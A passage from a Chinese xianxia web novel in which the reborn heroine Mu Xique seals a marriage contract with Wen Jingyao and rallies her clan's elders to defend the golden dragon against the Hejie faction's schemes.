慕夕阙又道:“明日我会回淞溪,若你无处可去,便提前去淞溪等我,这是信物,在外有危险也可去寻慕家暗桩。” 她取出枚玉符递过去。 越疏棠看着她掌心的那枚云红玉符,上用金漆刻了“慕”字。 “……这是慕家玉符,为何要给我?”越疏棠不解,她始终想不明白,“慕二小姐,我能觉察出你对我有种莫名的善意,你脾气爆是十三州出了名的,我这么缠着你,你却不生气,还敢带我去看你如何对付燕家。” 她们一坐一站,越疏棠在影杀有许多伙伴,却都不交心,大家比起朋友,更像是同僚,只是影杀的一员罢了。 认识几十年尚且如此,与慕夕阙才见过几面,她便这般信任。 慕夕阙看着她,目无波澜,说道:“哦,我想跟你结识。” 越疏棠愣是噎住,不知该说什么。 是该开心,堂堂慕二小姐,未来的淞溪家主,十二辰之主竟然要主动跟她一个小小杀手交友。 又或者是戒备,慕二小姐定是有所图谋才主动示好。 可慕夕阙能图她什么呢,慕二小姐要什么没有? 慕夕阙并未收回手,越疏棠沉默了会儿,抬手接过她手中的玉符。 她站起身,看着慕夕阙道:“慕二小姐,我并不能无端和你交友,也不会无故害你,你可放心,我只查我父亲的事,不会对十三州有任何危害。” 越疏棠说完,拿起搁在桌上的剑,转身离开。 慕夕阙走出船舱,看她和迟笙一起离开,两道纤细的身影隐入黑暗。 为什么信任越疏棠? 因为她见过越疏棠是如何救人,如何接济弃童、帮扶孤苦的,迟笙死后,她赚的所有钱全都拿去赈济了,她养着十几个孩子,却在一次任务后再未归来,只送回来了一柄染血的断剑。 慕夕阙无法帮她抚育那些孩子,只能将自己所有的钱财留在海外仙岛,托人照顾那些她留下的孩子,她也不知后续如何,越疏棠死后,她只回过海外仙岛两次。 在慕夕阙被挚友和未婚夫背叛,备受打击,道心几乎要破碎的时候,越疏棠和随泱的为人都让她能重拾道心,相信这世上还有些好人,这些人或许不多,却也能给她一些走下去的力量- 纪挽春匆匆走进客栈,屋内的药味浓郁,夹杂了一股血腥气,还站着十几个医修。 见他过来,一位燕家弟子赶忙上前:“长老,您救少主一命!” 纪挽春冷着脸递过去个瓷瓶:“十三州只有三颗,鹤阶也只占了一颗,给他服下。” 燕家弟子赶忙道谢:“多谢长老!” 纪挽春站在榻边,看着躺在榻上的燕如珩,闭目不醒,面色已泛青,俨然一副弥留之态。 他裸着上半身,医修方才正在处理穿心而过的箭伤,那几乎震碎了他七成的心脉。 一旁的医修道:“长老,燕少主的心脉损伤严重,一颗丹药下去即使能活,怕也修为大跌,心伤难愈,恐短寿,活不过百年,日后修行也不易。” 这些纪挽春当然能看出来,心脉碎了七成,若非燕如珩是赤敛燕家如今唯一能当事的人,鹤阶早已放弃他,又怎会浪费一颗灵丹? 丹药下肚,燕如珩的脸色以肉眼可见的速度好转,纪挽春冷冷看他一眼,转身推开门,去往隔壁的房间。 屏风后,有人正淡然饮茶,身形矜贵。 纪挽春拱手行礼:“燕少主性命应无虞,但应活不过百年。” “麒麟已被压制,山还未崩,不过我瞧它的火爆脾气,定会殊死挣扎,赤敛安稳不了,得找人赶快替代燕如珩的位置,接管燕家。” 屏风后的人用杯盖撇去茶沫,发出的清脆声让纪挽春不敢抬头。 “慕二小姐倒是好手段。”黑衣男子笑了下,烛火打在脸侧,勾勒出完美的唇形,“知道利用民心呢,杀了燕如珩能管什么用,摧毁燕家在百姓心中的地位才手段高明。” 纪挽春小声附和:“是,那个戴面具的应当是闻少主,但令山头崩裂的人还不知晓。” “很难猜吗,起码得有化神境的修为,慕二身边的化神境有谁,你不知道?” 纪挽春一愣,迅速反应过来:“随泱?” 他隔着屏风看着后面模糊的身影。 里头的人说道:“我只是在想,慕二似乎知道许多事情,她如何知道这么多的?” 他自言自语,低声喃喃:“她忽然与燕家翻脸,或许是因为知晓燕如珩对慕峥做的事情了,可我们的每一步都走在她意料之中,在她那里频频受挫,她知道太多不该知道的事情。” 屋内无人敢说话。 忽然,屏风后的人笑了一声,慢悠悠站起身,懒洋洋道:“还是说,你们鹤阶也出叛贼了?” 屋内的人乌泱泱跪了一地,纪挽春忙道:“绝无可能,长老们和弟子对鹤阶忠心耿耿,绝无可能!” “看把纪长老吓得,我也只是猜测。”黑衣男子笑了声,他走出屏风,路过这些人的身旁,无人敢抬头。 “燕如珩出事,燕家如今无人统辖,兵力不足,攻打慕家的原计划便行不通,另寻他策,在慕二去镇压祭墟时,必须把慕家给我打下来。” “是。”纪挽春忙垂首应道。 等那人离开,屋内的气压陡然轻松,他们皆都松口气。 纪挽春站起身,望向大开的房门。 这位主子是在几十年前忽然出现在鹤阶的,一人打服他们整个鹤阶,为他们所有人下了禁制,无人敢反抗他,明明这般强大,却不敢露脸,看轮廓,他明明并非其貌不扬。 不露脸,或许是他的脸有人知晓,鹤阶的人会认出。 可这般强大却不自己动手去铲除慕家,这么多年了,他杀的人也不少,应当不怕所谓的业报,因此比起他懒得动手这个说法,纪挽春更觉得,他是不敢动手。 似乎有什么东西在限制他,令他不能对慕家动手- 朝蕴和庄漪禾并不知晓这两个小辈消失的这几个时辰,去干了什么大事。 赤敛的事情也并未传到东浔,慕夕阙便未主动告知朝蕴他们。 送走越疏棠和迟笙后,随泱两日未歇,早便去休息了,慕夕阙也自己慢慢悠悠回了画墨阁。 刚推开门,模糊瞧见院里有道修长的人影,慕夕阙也只是淡淡看了眼,关上院门直接往后院的寝殿走。 等了她将近一刻钟的少年默了瞬,安静跟上。 慕夕阙直接去了水房沐浴,闻惊遥自是不敢进,只能在院里等她。 如今太晚了,院内寂静,水房里缭绕的水声便分外明显,他背对水房正身肃坐,长睫垂下,看着月色落在院角的树上,将斑驳的叶影投射到青砖。 慕夕阙沐浴很久,闻惊遥想,应当有三刻钟。 待她披上单薄的寝衣出来,半干的长发披在身后,长及腰身,青丝顺滑,闻惊遥转身看她,她站在三层高的青阶上,比他高了小半头。 夜风吹过,她那身雪白的寝衣本就料子单薄,如今更显缥缈翩飞,她像是在那身白衣里晃,给他一种错觉,好像她要飘走了。 闻惊遥上前几步,问道:“夕阙,不冷吗?” 慕夕阙垂眸看他,冷不丁问:“你沐浴过了?” 他刚恶战一场,身上的血都将青衫染透了,如今他换了身整洁的青衫,是苍青色,血垢也早已洗去,周身有种淡淡的清香,夹杂了些苦涩的药味。 闻惊遥微微颔首:“嗯,你喜洁,我恐你看着不舒服。” 慕夕阙拢了拢宽松的寝衣,仍居高临下看着他:“来找我做什么?” 她半分未过问他的伤势,若以前未撕破脸或许还会问问,如今两人撕开那层假面,她再也装不下去,对他的利用和不在乎几乎写在脸上。 闻惊遥薄唇微抿,看着她道:“你明日应当要回淞溪,路途遥远,任前辈还是关押在东浔为好,过段时日待我的伤势养好,我们再去祭墟。” “嗯。”慕夕阙应了声。 “我们的婚期应是明年二月,按理说婚契应当在那时缔结,如今既然按你所说,天罡篆和十二辰要互相补给需要婚契。”闻惊遥说到这里顿住,并未再说,他看着慕夕阙。 慕夕阙点点头,抬步走下:“那就今晚吧。” 她抬手祭出一张金契,悬浮在虚空之中,像是她提前准备好的。 闻惊遥看着那张契约,却并无半分欣喜,金光落在他的眼里,只觉得刺痛。 “夕阙,我们并未告知朝家主和我阿娘,且如今婚宴未办,这于理不合,且过于亏待——” “无事。”慕夕阙看着他,“本来也是不得已,无所谓。” 不得已,无所谓。 闻惊遥忽然低下头,他看着青砖上倒映出的两人身影,忽然有种想要转身就走的冲动。 他想过很多次婚宴应该如何办,东浔闻家虽崇俭禁奢,可他会任性一次,拿出自己的毕生积蓄大设宴席,广邀十三州名门望族,婚服会请莲衣阁的绣娘提前三月绣制,要用上好的金线和蚕丝,凤冠得镶金嵌玉。 绝不能亏待她半分,一切都要名正言顺,合规合矩,每一关他都会亲自盯着,是对她的尊重和珍视。 如今她却要在这一个画墨阁里,在两家掌事人都不知晓、十三州无人知晓的时候,随随便便结下婚契,没有婚服,没有凤冠,没有三媒六聘,千里红妆。 可慕夕阙并未给他犹豫的机会,她割开指腹,灵力托举鲜血汇入婚契中,属于她的名字金光大亮,而旁边闻惊遥的名字却仍旧暗淡。 “快点,院里有些凉,我要休息了。” 闻惊遥抬起手,他垂眸看着自己骨节分明的手,它在颤抖。 慕夕阙又催了遍:“闻惊遥,我说了有些冷,我要休息了。” 闻惊遥并未回话,他用灵力凝为刀刃,割开指腹,鲜血取出,青色的灵力托举那枚血滴流进婚契,属于他的名字也亮了起来。 婚契在虚空中化为幻影,一分为二,涌进彼此的额心,刻在神魂上。 慕夕阙拿出十二辰,靠近闻惊遥,兴许是感知到主人的气息,那朵莲花竟分外不排斥,明明认主后,连朝蕴都摸不得它。 她笑了下,这法子当真有用,婚契在,她就可以在镇压祭墟后,用十二辰加强天罡篆,届时使用天罡篆了。 慕夕阙收回十二辰,心情也好了些:“你走吧,我休息了。” 她看也不看闻惊遥,转身便往寝殿走。 刚准备关上房门,身后传来急促的脚步声,格外迅捷,她刚反应过来回身,闻惊遥迎面撞上来,比她宽广挺拔不少的身影堵住她的去路。 慕夕阙的脚步踉跄了下,却又被他揽住,闻惊遥并未关门,他抬手捧住她的脸,俯身偏头吻住她的唇。 慕夕阙皱眉,齿关猛地磕在一起,两人的唇都破了口子,她尝到血味儿,他却分毫不在乎,撬开她的齿关几乎在吞咬她。 她抬手推他,闻惊遥这会儿倔起来,她推她打都无所谓,用灵力打伤他也没事,总之她目前不会杀他,在她的目的还未达成前,他对她还是有用的。 慕夕阙被他抵在桌前,打了几下见没用,反而不推了,她攀住他的脖颈,用力去撕咬他的唇,他用劲儿,她比他咬得更狠。 说是吻,更像是两人在明争暗斗。 从门外落进来的月色映出交叠在一起的青衫和白衣,闻惊遥将她推在桌上,他俯身去吻她的额头,她的眉眼,挺翘的鼻头和破损的红唇,又渐渐偏移,落在她的耳侧和脖颈,吮出暧昧的斑痕。 慕夕阙忽然闷闷笑了几声,闻惊遥的吻停住,他还埋在她的颈窝,停了会儿,直起身子看她。 这张桌子是闻少主去年亲自采办的木桌,用了上好的木材,摸着光滑微凉,深色将她衬得格外白,她躺在桌上,红唇微肿,破损的几处在渗血,脸色微红,不知是气得还是亲得。 这寝衣本就宽松,两个人拉锯这一遭,她的衣裳凌乱,圆滑的左肩都隐隐若现,锁骨上更是他留下的斑痕。 慕夕阙还在笑,她一笑,霜白的齿上也染了血迹。 “闻少主,你好像动情了。”她抬起手,皙白纤细的手指戳着他的心口,用力点了几下,“心也是,身子也是,这可是在闻家呀,你知道自己的身子如今是什么模样吗?” 闻惊遥的双臂撑在桌上,堵在她的身子两旁,他不言不语,安安静静看着她。 慕夕阙嗔了他一眼:“你抵着我了,闻少主生得高大,果然哪里都不俗,怎么,想今晚洞房啊。” 这些话在整个闻家无人敢说,若旁人敢在他面前说这些,闻惊遥定会转身就走,恼火了说不定还会拿闻家家法那一套去处理。 这话也不该从慕夕阙嘴里说出来,像是逗弄,更像是嘲讽。 慕夕阙还在戳他的心口,她分明没有用力,却将他戳得心口都疼。 “你不是自诩清正吗,不是守着你们闻家那条条框框吗,以前我拉你的手你都得板着脸让我不要这样,怎么现在就变了,先是拥抱,然后亲吻,如今失仪,虚伪至极。” 她明明在笑,眼底却分明没有半分笑意。 闻惊遥看着她,挡住门外的月色,他撑在她身上,将她拢在自己的阴影内,殿内并未点灯,慕夕阙却能看清他那双漂亮的眼睛。 闻惊遥的眼睛实在好看,一个冷如雪莲的人,偏生生了双漂亮的凤目。 迎着慕夕阙讽刺的目光,他忽然俯身下来,亲吻她的耳根,灼热绵密的吻中,他低声说:“嗯,我虚伪至极,贪婪有余,色欲熏心,那你就看着我,看着我怎么跌进泥里,烂成你希望的样子。” “夕阙,你就将我扯下去,让我彻底烂掉。” 第60章 第 60 章 筹谋 时隔多日回到淞溪, 当灵舟落地,慕夕阙望着坐落在淞溪主城的琼筵山,竟然有种恍如隔世的感觉。 重生当日她来不及仔细看看这座山, 便随着慕家去了东浔。 如今她站在山顶,望向这座连绵不绝的山, 山脊高耸, 可淞溪气候温暖,金龙更是血热,不如东浔那般微凉, 这山顶上并无雪。 林木苍翠,灵鸟绕山旋飞,啼鸣悦耳。 过去慕夕阙总觉得这些灵鸟叽喳, 总是每日天还未亮便落在她的院里, 起码得有三只, 围着她的寝殿叫, 直到她冷着脸提剑出来, 威胁要拔毛烤鸟,那些灵鸟又会立马飞走,边飞边看她, 像是挑衅。 慕二小姐能起那般早去练剑,这些负责叫醒她的灵鸟得占一半功。 如今一只鸟落在她肩头, 白羽收拢, 歪歪脑袋看着她,似乎识别出来她是谁, 忽然抬嘴叨了她的胳膊一口。 慕夕阙面无表情拍开它的脑袋,抬手摘下一旁树上的灵果递给它,为防这些灵鸟不知饥饱将自己撑死, 毕竟曾有先例,从慕峥当上家主后便给满山的果树下了禁制,这些灵鸟都得防着,每日定餐定食,偶而加餐。 但这些鸟有灵性,总爱撒娇卖乖去找弟子,让弟子们帮忙摘果子,捉虫子,在慕家弟子的溺爱下,体重不降反升,有些甚至都飞不起来了。 朝蕴离宗几日,此刻正在询问守宗长老宗内的情况。 慕家有两位化神境的元老级长老,是从慕峥的父亲那一辈便在慕家了,比朝蕴年长许多,一唤慕未缈,一唤宴逢。 慕未缈岁数虽有三百岁,模样却只有凡人的三四十岁,她肃然道:“我和宴长老坐镇,这些日子都未下山,淞溪玉灵全数打开,鹤阶也并未来犯,安然无恙,无事发生。” 宴逢的鬓边有些花白,但仍康健,他拱手道:“家主可放心,我每日都会派弟子巡山,前些时日东浔一出事,咱们之前揪出的那些叛贼,我和菱歌长老也已秘密处决。” 朝蕴颔首:“嗯,辛苦诸位了。” 慕未缈看向灵舟:“此次慕大小姐出山,可有被鹤阶察觉?” 朝蕴摇头:“小晚在闻家主宅不常出门,且只有闻家亲信知晓,鹤阶没有动作,若知晓这是小晚,不至于这般安静。” 宴逢却眉心微蹙:“此番您允许大小姐出淞溪,是否……” 朝蕴看向正从灵舟上走下的慕从晚,仍旧一身雪白幕笠遮面,身子纤细瘦弱。 她冷声道:“是,我就是要让小晚出山,她本该是叱咤一方的天才,若非有人暗中谋害,又怎会落得这般下场,我又怎么能再忍?” 她忍了很多年,长女被害,她忍;夫君被杀,她忍。 她向鹤阶送钱送权,将慕家产业分给鹤阶,妄图降低慕家的威胁,撑到自己的女儿长大能够挑起淞溪。 这些年一直忍,忍到这次东浔出事,朝蕴终于看明白鹤阶的贪心和肮脏,再忍下去,下一个出事的便是淞溪。 慕未缈眉目冷冽,沉声道:“早该这般做了,大不了就打一场,咱们慕家没有孬种。” 朝蕴叹了口气:“是我窝囊,我资质平平,论谋略,论修为都不算佼佼之列,实在不敢赌。” 慕未缈和宴逢赶忙拱手,肃声道:“家主切莫自轻,这些年您挑起慕家,已是不易。” 几个长辈在这里谈正事,一群小辈聚在一起。 姜榆蹲下正在撸猫,一只圆滚滚的狸花猫躺在地上,翻开肚皮,姜榆道:“你又又又胖了,大花,你吃得太好了!” 蔺九尘双手环胸,垂眸看草丛中窜出来的几只小猫。 慕夕阙一巴掌拍开叨她头发的灵鸟,一脸不耐烦道:“你已经吃了十颗果子了,再吃下去,山都要被你吃秃了。” 灵鸟骂骂咧咧飞走,又落在慕从晚肩头,奈何慕大小姐心比铁硬,愣是一颗不喂,它又再次骂骂咧咧飞走,去寻另一个弟子。 慕从晚走来,看慕夕阙正冷着脸给另一只灵鸟摘果子,她笑了笑,说道:“小夕,少喂它们,其他弟子应当也喂过了。” 慕夕阙搓干净那颗灵果,塞进那只胖鸟的喙里,说道:“爱吃就多吃点,吃饱了下顿再减重。” 毕竟上辈子,琼筵山的所有灵兽也都被杀了,死守这座山,宁死不肯离开。 早知道就让它们多吃些了。 慕从晚笑笑,抬手摘下几颗果子,见她一摘果子,树上的灵鸟立马飞来,叽叽喳喳等着喂。 淞溪慕家家规不严,对弟子管束松懈,不作奸犯科,在宗内干什么都行,弟子见家主归来,有些刚下学便匆匆跑来,有些守在远处看慕大小姐和慕二小姐。 一位多年未出门,一位素爱独来独往自个儿练剑。 慕夕阙听着身后吵吵闹闹的声音,左右两肩都站了灵鸟,她拍开企图落在她头上的胖鸟,低垂着眸子搓干净一颗颗果子去喂它们,脸色瞧着不耐烦,唇角的笑却始终挂着。 慕从晚和蔺九尘看了眼她,慕二小姐今日瞧着心情格外好,那种藏不住的喜悦和傲娇让她看起来终于像个十七岁的少女了,而不是那副运筹帷幄、城府深沉的模样。 蔺九尘笑了声,抬手替慕夕阙捉下一只企图卧在她发髻上的灵鸟,那只胖鸟一手握不住,被他抓着还踢腾四爪叽喳乱叫。 “啾!” 一颗灵果塞进嘴里,它立马老实。 直到朝蕴远远唤道:“小夕。” 慕夕阙挨个抓下肩头的灵鸟,塞到蔺九尘的肩膀上,她转身离开,走向朝蕴。 慕未缈看着她,忽然笑道:“还是第一次见二小姐心情这般好。” 慕夕阙耸了耸肩:“好久没回家了,心情自是好。” 宴逢呵呵笑道:“这才离开多久呀,便这般想家了,东浔亏待我们二小姐了吗?你一声令下,老身这就提刀杀上门去讨公道。” 慕家的几个长老大多年长,只有少数是与朝蕴和慕峥同辈的,这些长老看她便像是看自家孩子,纵使慕夕阙过去老板着脸,他们仍会每年生辰为她送礼,见面嘘寒问暖,问近来修为如何,问有没有好好在学宫学习,问身体如何。 慕夕阙笑笑没回答,而是看着几个长老和朝蕴含笑的眸子,说道:“我有些事要和你们说,咱们借一步说话吧。” 知道她要谈正事,朝蕴颔首:“好,我们去议事堂。” 慕夕阙又道:“将师兄和阿榆一同唤来吧。” 朝蕴愣了下,却并未多问,侧首让弟子去喊蔺九尘和姜榆。 慕家的议事堂便不像闻家那般森寒,四处都是落地的轩窗,进去甚至不用点烛,亮堂宽阔。 十几个长老皆都陆续就坐,蔺九尘和姜榆也跟来。 朝蕴坐在主座,看向慕夕阙。 “小夕,你要谈什么?” 慕夕阙直接道:“过段时日待闻惊遥的伤势养好,我们会去镇压祭墟,此次祭墟动荡应当并非意外。” 朝蕴皱眉:“我也猜测这次天柱碎裂有鹤阶的手笔,可若是秽毒出来,那鹤阶也逃不了。” 慕夕阙道:“他们并不会让秽毒全数涌出,碎裂的天柱不是被补好了吗,鹤阶只是寻个理由让天罡篆提前择主,十二辰也已认我,两位神器之主自是要去镇压祭墟,因此恐怕也有冲着慕家来的意图吧?” 上辈子朝蕴始终不肯松口让十二辰认慕夕阙,是在她二十五岁那年才肯松口,十二辰刚认主没两年,祭墟便动荡难压,她和闻惊遥去镇压祭墟,而鹤阶也就是趁那时对慕家出手了。 这辈子她十七岁就得到了十二辰,从十二辰认她为主开始,鹤阶的计谋便已经开展,果然,与前世一模一样,打碎天柱让祭墟动荡,迫使神器之主去镇压祭墟。 能坐在议事堂的都已是慕家的心腹,当然知晓十二辰对慕家的重要性,与十三州所有玉灵都不一样,唯独淞溪的玉灵不靠百姓供奉,而靠十二辰。 淞溪慕家有太多秘密,譬如十二辰为何只认慕家血脉,譬如淞溪明明人口并不如赤敛和东浔多,只有他们的一半,百姓们的供奉也应当不如其他大城,可金龙的力量在一众玉灵中却是佼佼之列。 这也是为何淞溪慕家经商为主,手握至宝,却能太平万年未曾被夺宝的关键。 因为金龙在,金龙强悍。 慕未缈沉声道:“能知晓十二辰和金龙关系的寥寥无几,慕家历任家主,以及历任亲信长老,我们都未曾告知过外人,鹤阶如何知晓的?” 蔺九尘道:“或许与鹤阶幕后那人有关,小夕说过,他修为强盛,年岁已有起码七千岁,未曾飞升能有这等岁数已是违背天道。” 慕夕阙并未告知搜魂的事情,只能胡诌:“之前处理闻家叛贼时问出来的,鹤阶已知晓金龙和十二辰的关系,若我大肆使用十二辰,金龙便会衰弱起码一月,届时鹤阶怕不会安分。” 宴逢脾气爆,一拍桌子站起身:“我慕家有一万多人,淞溪主城有二十多万人,光天化日郎朗乾坤,他鹤阶便能只手遮天,无视律法,不顾天道,前来灭门吗!” 可话刚说完,他又沉默。 东浔的人更多,东浔闻家有将近十万弟子,东浔主城更是兵力强盛,可鹤阶仍敢出手,甚至早在起码十几年前便打算动手。 连闻家都不怕,又怎么会怕一个经商为主的慕家? 这十三州一百多个家族门派,倒戈鹤阶的究竟有多少呢? 闻家的事这般严重,除了慕家,如今也没有家族明面站出来为闻家出头,讨伐鹤阶。 宴逢又坐了回去,重重叹气:“造孽啊,这些人真是造孽。” 有许多事慕夕阙不能和这些长老细说,并非不信任,而是涉及前世,她无法解释清楚。 闻惊遥着实清奇,接受能力惊人,能认可她这荒谬的重生一说,不知是傻,还是太过于信她。 可若告知这些长老,怕是医修下一刻便能闯入议事堂,看看她是不是脑子有病。 慕夕阙只能尽量说清楚:“我无法不去镇压祭墟,我必须得去,否则十三州的唾沫星子会将慕家淹死,若我去了,金龙必定虚弱,慕家玉灵便拦不住鹤阶。” 宴逢咬牙道:“向其他家族求援?” 慕未缈却反驳:“要如何求援,将十二辰和金龙的关系坦白给十三州?如今所有事都未发生,只是我们的猜测,十三州那些世家也未必会信,反而会惊动鹤阶。” 朝蕴道:“就算有人会信,大概也不会援助慕家与鹤阶作对。” 东浔的事便是一个血淋淋的例子。 那么多人,或许可能会有祟种攻上门来,以他们现在的兵力是绝对守不住淞溪慕家的,即使守住了慕家,若金龙没了,淞溪也便没了,慕家再也不是慕家了。 百姓会向有玉灵的地方迁移,这座富饶的城池会在未来几十年迅速衰败没落,直到成为一座空城。 议事堂的气压低沉,这几乎是个无解的问题,他们明知慕家怕有大灾,却毫无解决办法,慕夕阙不可能不去镇压祭墟,其他世家也大概不会援助慕家。 殿内的寂静忽然被打破。 慕夕阙的声音不大,却字字清楚:“所以我需要诸位长老尽力,拼尽你们的全力去守住慕家。” 长老们赤红着眼看来,一位头发花白的长老道:“我们自是会拿命守住慕家,慕家人可以死,我们一万多人都可以去死,但是金龙不能啊!” 另一位长老接话:“金龙若死了,淞溪便没了,又何谈慕家?” 蔺九尘和姜榆也沉着脸,皆都握紧拳头,面容肃重。 朝蕴看向慕夕阙:“小夕,你要做什么?” 慕夕阙起身,望向这堂内二十人,说道:“只需要保护金龙,撑上一个时辰,一个时辰内保金龙不死。” 她顿了顿,又道:“鹤阶那位主子的修为应已至渡劫,他会亲自来斩杀金龙,那时虚弱的金龙连他的一击都撑不过,我只需要诸位长老带领所有弟子,守住金龙一个时辰便好。” “不管死多少人,都一定要撑上一个时辰。” 空旷的殿内,她一个人着实渺小,身形纤细,明明是个十七岁的少女,可诸位长老看着她,不知她有何计划,不知她到底要去做什么,却又觉得,她的话令他们慌乱的心平稳了不少。 良久后,朝蕴站起身,脊背挺直,面容肃重:“你放心,便是慕家一万七千八百多人都死光了,也会撑住。” 他们只有两位化神境,只有一万多个弟子,金丹甚至都只占三成。 如今面对兵力强盛的鹤阶,或许还有其他世家的为虎作伥,以及一个可能已至渡劫的旷世大能,这注定是场血战。 慕未缈看向慕夕阙:“二小姐,你要我们具体怎么做,说吧,我这条命一定会死在金龙之前,你可放心。” 慕夕阙道:“我还需要诸位长老帮些忙,让弟子们去藏书阁搜寻所有有关慕家老祖的记载,以及慕家开宗创派的经过,不止族史,是所有书卷竹册,无论年代多远。” 朝蕴道:“好,我这就安排弟子去查。” 日头越升越高,一个时辰后,慕夕阙从议事堂出来。 她走向自己的小院,一路上经过的弟子和她招呼,慕夕阙也并未冷脸,比过去温和了不少,让弟子们一阵惊奇。 她走到自己的住处前,仰头望向这寝殿背后的山。 翠绿叠嶂,高耸入云,灵鸟齐飞,灵兽遍野,而它突出的山脊向东西两侧延绵万里,早已与金龙的龙脊融为一体,金龙便栖息在山谷内,这座山在它身上,被它托举起来。 整个淞溪因金龙而存在,因此上一辈子,金龙死后一年内,天灾不断,淞溪的人口少了五成,迁移去往其它城池。 慕家的产业被鹤阶和其余世家瓜分,待最后慕夕阙* 死时,淞溪一百二十七座大小城池,上千上万的郡县村镇,全都空了。 淞溪已成死境。 只要能守住金龙,就能守住淞溪- 在养伤的第二十日,闻惊遥入了化神。 庄漪禾边走边说:“前些时日听闻燕家出事,主宅被烧,百姓对燕家议论纷纷,如今尚不知状况,但燕如珩卧病不出,我们也寻不到那诡谲毒素的配方,柳家人怕是时日无多了,柳确已回寒霞镇陪伴家人。” 随泱叹了口气,并未多说。 庄漪禾又道:“小夕在七日前已入化神境,如今惊遥也入化神了,得了神器,果真如虎添翼,修为大涨,难怪人人都想要它们。” 随泱站在她身后,他要守着任风煦,这么强大的祟种始终是隐患,因此前些时日他将随安妥善安置后,便又回了闻家,听了后也感慨道:“这两位可是十三州最年轻的化神境修士,怕是传出去,鹤阶要炸了。” 庄漪禾冷嗤一声:“若非鹤阶的人,他们只会试图将天才扼杀在摇篮,而不是想着为十三州培育一个能抗事的修士。” 随泱并未再说话,和庄漪禾一同去往关押任风煦的屋子。 推开房门,屋内坐着一个白发男子,还有一只被无渊锁捆住的祟种。 徐无咎淡淡抬眸:“庄家主,随公子。” 庄漪禾如今已是东浔闻家对外宣布的家主,所有人都已改口。 她看着任风煦,说道:“我已托多人去查任前辈脊背上的兽脸,确实并未有任何线索,十三州没有一只玉灵能对得上。” 徐无咎沉默不语,庄漪禾和随泱也没再说话,等于线索又一次断了,他们手握这张兽脸,或许事关那个黑衣人的身份,却无法查出。 “阿娘。”屋内忽然走进一人,声音清洌纯粹。 几人扭头看去,闻惊遥入了化神后,身上的旧伤在三日内迅速愈合,修士修炼练的不仅是修为,更是根骨,境界越高,愈伤能力也越强。 如今他是鼎盛的状态,脸色也好了不少。 庄漪禾道:“惊遥,你怎么来了?” 闻惊遥这些时日泡在藏书阁了,搜罗了一堆暗桩弟子从十三州,甚至海外仙岛买来的各类书册话本,整日整夜地看。 他看了眼任风煦,说道:“也并非所有山灵都成为了玉灵,可若是不成为玉灵,山灵性孤,是不会和人接触的,这个人性情高傲,所戴的面具,应当不是无缘无故画出来的。” 他应该很熟悉这张兽脸,没少接触。 庄漪禾蹙眉:“可所有城池的玉灵,包括死去的玉灵都查过了,确实没有能对得上脸的,这么多山里住了这么多玉灵,偏偏就是查不出来。” 闻惊遥看着任风煦,忽然道:“山灵因为护佑百姓才自愿成为玉灵的,它们守的是百姓,不是一座用砖墙垒砌的城池,谁说玉灵必须要居于延绵千里的大山中,护佑一座大城?” 庄漪禾和随泱都愣住,徐无咎抬眸看他。 闻惊遥垂下眼睫,默了片刻,沉声道:“我看了上千卷书册,没有一只记载过的玉灵对得上脸,我只能猜测,或许这只玉灵鲜少有人知晓,它可能栖息在一座小山坡,守着一个人口稀少的小城。” “甚至不算城,或许只是一个镇,一个村,人太少了,他们也并未留下书册记载这只玉灵。” 《玉灵录》收录了所有城池的玉灵的体貌特征、性情和过往事迹,但这些都是人写上去的,若知道这只玉灵的人并未留下任何记载,那他们又怎么可能在这些书册中查出? 随泱更泄气了,双手一摊:“那好了,原先一百七十三个家族门派契约了一百七十三只玉灵,包括之前离开城池另寻栖息地的玉灵,以及万年前与祟种同归于尽的玉灵,总归也就不到两百只,还能查查,现在更不好查了。” “那老东西比我祖父的祖父的祖父还大,几千年前存在的村镇郡县无数,无异于大海捞针,要我看也不用查那老东西的身份了,想尽办法杀了就行。” 闻惊遥却道:“必须得查清楚,他做这些事情,总会有自己想要的东西。” 要权,要钱,要名? 可以他的实力,这些都不是问题,易如反掌,他已是鹤阶真正的主人,钱、权、名都尽数揽手,却还敢冒大不韪妄图戮杀玉灵,青鸾和金龙都是个例子,包括多年前镇守灵翠谷陈家的玉灵。 陈家的玉灵已经被杀,是十三州第一只因人祸而死的玉灵。 青鸾前些时日险些被戮,慕夕阙告诉他,上辈子金龙已被杀害,那是十三州第二只死于人祸的玉灵。 闻惊遥低声道:“他筹谋这么多,总会有自己想要的东西。” 可还不等庄漪禾他们回答,院外忽然传来弟子的通传:“家主,少主,鹤阶来信。” 随泱“啧”了声,说道:“你看,还有几日就到三十日了,鹤阶催着你们动身了。” 庄漪禾柳眉紧拧,神情并不轻松:“惊遥,我总觉得鹤阶此番还有别的图谋,打碎祭墟应不仅是为了让天罡篆提前择主,认燕如珩吧?” 闻惊遥抬眸,并未回答这些,而是与她对视,说道:“阿娘,我需得拜托你一件事。” 他长这么大,自小独立,鲜少有张嘴问她求援的时候,庄漪禾一愣,反应过来又严肃回答:“你说,需要阿娘做什么?” 万里之外的淞溪,琼筵山鸟兽撒欢奔腾,弟子们正井然有序地训练,忽然被各个学堂的先生们叫走。 弟子们一头雾水,懵懵站在各个学宫的院里,看着往日教导自己的师兄师姐和长老先生们冷肃着脸。 慕夕阙正在逗几只胖乎乎的灵鸟,腰间玉符亮起,她懒洋洋接起。 朝蕴的声音传来:“小夕,鹤阶来信,祭墟的天柱要撑不住了,闻少主前些时日也入了化神,他们请你们去镇压祭墟。” “知道了。”慕夕阙应了声,推开一只抢食的灵鸟,被它气呼呼啄了一口也不生气。 朝蕴安静片刻,忽然沉声:“我已按你的吩咐,刚刚让提前知道的长老弟子们去告知所有弟子,并隔断了淞溪的通讯,城里的消息传不出去,纵使有未揪出来的叛贼,也无法传信给鹤阶。” 他们并未提前告诉弟子们这些事,便是担心有未曾揪出的内应,只有严查过的亲信才知道过些时日,慕家要经历什么。 慕夕阙站起身,几只胖成球的灵鸟还追在身后叽叽喳喳要吃的。 她来到山门处,弟子们都知晓了这些事,一个个沉着脸,她并未说什么话,而是如往日那般走下一节节青阶,一艘小型灵舟停在山门处。 朝蕴和慕家长老,以及蔺九尘和姜榆都在,慕夕阙也并未多话,直接上了灵舟。 没有什么告别的话,她催动灵舟腾飞,唯独在即将穿透云霄隔绝视线时,她回头看了一眼。 慕夕阙看着乌泱泱的人,身着慕家的宗服,一个个肃然而立,这些昨日还在嬉笑打闹的弟子,从此刻开始,便必须用自己的命去守住金龙。 有些人,或许这一别她便见不到了,可能是朝蕴,可能是蔺九尘和姜榆,可能是她叫不出名字的弟子,刚重生的时候慕夕阙想拿命去守住每一个人,一个人也不想失去,前世的失去刻骨镂心,她不想再活在心魔中。 